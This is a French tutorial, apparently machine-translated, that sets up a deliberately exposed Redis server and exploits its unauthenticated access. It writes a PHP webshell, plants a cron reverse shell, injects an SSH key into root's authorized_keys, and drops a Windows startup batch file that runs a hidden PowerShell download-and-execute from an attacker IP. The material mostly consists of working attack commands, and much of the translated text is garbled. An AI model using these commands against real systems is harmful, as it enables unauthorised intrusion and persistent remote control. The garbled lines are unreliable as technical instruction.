Un, la construction de l'environnement
1. Construction de l'environnement Windows
Lien de téléchargement: https://github.com/microsoftarchive/redis/releases
Décompressez en local
Modifiez le fichier de configuration redis.windows.conf
Autoriser n'importe quelle adresse IP à m'accéder (vulnérabilité non autorisée): modifier la liaison 127.0.0.1 pour la liaison 0.0.0.0
Désactiver le mode protégé: modifier le mode protégé oui en mode protégé non
Spécifiez redis.windows.conf comme fichier de configuration pour démarrer le service redis
redis-server.exe redis.windows.conf
Utilisez redis-cli pour vous connecter au service redis
redis-cli -h 192.168.23.128
2. Construction de l'environnement Linux
Lien de téléchargement: http://download.redis.io/releases/
Téléchargement: wget http://download.redis.io/releases/redis-6.0.1.tar.gz
Décompressez: tar zxvf redis-6.0.1.tar.gz
Compiler: cd redis-6.0.1 make
Erreur de compilation, la raison est que l'environnement gcc n'est pas installé sur mon système
a, installez gcc: yum installez gcc-c ++
b, clair: rendre distclean
c, recompiler make, toujours une erreur
d, il devrait être que gcc n'a pas été installé, réinstallez-le
yum install cpp
yum install binutils
yum install glibc
yum install glibc-kernheaders
yum install glibc-common
yum install glibc-devel
yum install gcc
yum install make
e, la compilation échoue toujours, on estime que la version de redis est trop élevée, retéléchargez une version basse de redis, répétez les étapes ci-dessus et compilez avec succès
$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make
Modifiez le fichier de configuration: vim redis.conf
Commencer redis
Méthode 1: Démarrez ./redis-server dans le répertoire src
Méthode 2: Ajouter au démarrage de la variable d'environnement (recommandé)
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/
启动redis服务
redis-server /etc/redis.conf
La connexion à distance a échoué et la connexion locale a réussi, ce qui prouve que le fichier de configuration n'a pas été chargé
Rechargez le fichier de configuration pour démarrer, montrant que le fichier de configuration a été chargé, on soupçonne que le pare-feu de la machine virtuelle centos 7 est bloqué
Effectivement, le port telnet local ne fonctionne pas
Le pare-feu Centos7 ajoute le port 6379
pare-feu-cmd --list-port
firewall-cmd --zone-public --add-port = 6379 / tcp --permanent
pare-feu-cmd --reload
Fermer selinux
Toujours nulle part, telnet, c'est toujours un problème de fichier de configuration, redis fonctionne toujours en mode sans échec
Connectez-vous localement à redis, entrez shutdown pour fermer le service redis, redémarrez et chargez le fichier de configuration pour démarrer
Connexion à distance réussie
Deuxièmement, l'exploit
1. Ecrire au webshell
Conditions d'utilisation:
1. La cible existe dans le répertoire Web
2. Le chemin Web absolu est connu
3. Il existe une autorisation d'écriture
1. Obtenez le chemin absolu du site Web via une erreur de site Web ou une page phpinfo
2. Utilisez le chemin absolu du site Web acquis pour écrire le fichier de porte dérobée via redis
config set dir "C:/ruanjian/phpstudy_pro/WWW"
config set dbfilename info.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
Remarques: \ r \ n \ r \ n signifie un saut de ligne. Les fichiers écrits avec redis porteront des informations sur la version. S'ils ne coupent pas les lignes, il se peut que ce soit impossible.
3. Écriture réussie via l'accès
2. Inversion de la tâche planifiée
Domaine d'utilisation: centos
Conditions d'utilisation:
autorisation d'écrire des tâches planifiées
Le principe est le même que l'écriture sur webshell, sauf qu'il s'agit d'une tâche d'écriture planifiée, seul le système linux a une tâche planifiée, donc il ne peut s'exécuter que sur le système linux, en utilisant la tâche planifiée écrite pour rebondir le shell
1. Ecrivez la tâche planifiée (note: le nom du fichier enregistré est le nom d'utilisateur)
2. Afficher la tâche planifiée sur la machine cible a été établie
3. Surveillance de la configuration locale, réception du shell avec succès
Remarque: Pour utiliser kali comme hôte cible pour les tests, vous devez écrire la tâche planifiée dans le répertoire / var / spool / cron / crontabs.
On constate que lorsque l'hôte cible est centos, le reverse shell peut réussir, mais ubuntu et debian ne peuvent pas être utilisés.
Raison: des erreurs grammaticales causées par des caractères déformés dans le contenu écrit par redis dans le fichier de plan de tâches, et des caractères déformés sont inévitables. Centos ignorera les caractères déformés pour exécuter le plan de tâches dans le format correct.
3. Écrivez la connexion à distance de la clé publique
Domaine d'utilisation: hôte Linux
avec authentification par clé activée Conditions d'utilisation:
autorité racine
La connexion par clé SSH est activée et le fichier /etc/.ssh existe
Processus d'utilisation:
lorsque redis s'exécute en tant que root, vous pouvez écrire le fichier de clé publique SSH sur le compte racine et vous connecter au serveur cible directement via SSH.
1. Tout d'abord, ouvrez la connexion par clé SSH sur la machine cible centos.
Modifiez le fichier de configuration / etc / ssh / sshd_config.
RSAAuthentication设置为yes,意思是设置开启使用RSA算法的基于rhosts的安全验证;
PubkeyAuthentication设置为yes,意思是设置开启公钥验证;
AuthorizedKeyFiles后面的目录,是你上传的公钥所保存的文件;
2. Ouvrez kali pour générer une paire de clés: ssh-keygn -t rsa
3. Écrivez la clé publique dans key.txt et ajoutez un saut de ligne
(echo -e "\ n \ n"; cat /root/.ssh/id_rsa.pub; echo -e "\ n \ n")> key.txt
4. Définissez le contenu de la clé publique sur la variable redis (notez le chemin et écrivez votre propre chemin)
cat /root/key.txt | ./redis-cli -h 192.168.23.129 -x définir la marée
5. Générez un fichier allowed_keys dans le répertoire /root/.ssh (le même que le principe précédent, tous sont écrits et renommés)
Les variables ont été écrites avant
6. Vérifiez le succès de l'écriture sur la machine cible
7. Connectez-vous sur l'attaquant kali: ssh -o StrictHostKeyChecking = no 192.168.23.129
Remarque: la
connexion par clé doit être activée sur l'hôte cible avant de pouvoir être utilisé.
Lorsque ssh se connecte pour la première fois, ajoutez -o StrictHostKeyChecking = no, sinon il risque de ne pas se connecter.
4. Articles de démarrage
Portée: système Windows (seul le système Windows a une option de démarrage)
Lorsque le redis cible est déployé sur l'hôte Windows, les fichiers peuvent être écrits dans le répertoire à démarrage automatique. Connectez-vous au prochain redémarrage de l'ordinateur.
Utilisez PowerShell pour télécharger et exécuter à distance.
Le serveur serveur a l'utilisateur administrateur par défaut.
Écrivez le fichier de commandes dans le répertoire de démarrage de l'utilisateur administrateur.
1, écrire
config set dir "C: / Users / shy / AppData / Roaming / Microsoft / Windows / Menu Démarrer / Programmes / démarrage /"
config set dbfilename shy.bat
set x "\ r \ n \ r \ npowershell.exe -nop -w hidden -c \" IEX << nouvel objet net.webclient> .downloadstring <'http://192.168.23.44:8088 /xiye.exe'>>\"\r\n\r\n "
2. Vous pouvez voir que le fichier shy.bat a démarré avec succès sous l'élément de démarrage de la machine cible
3. Après le redémarrage, récupérez le shell
Je suis trop culinaire, et je n'ai pas fini d'étudier les articles de gangsters, je vais donc acquérir un peu de connaissances et élargir mes connaissances avant de continuer à étudier les articles de gangsters.
Apprenez les articles du patron:
https://mp.weixin.qq.com/s/ungjainqdPhA_dDOOMKn4Q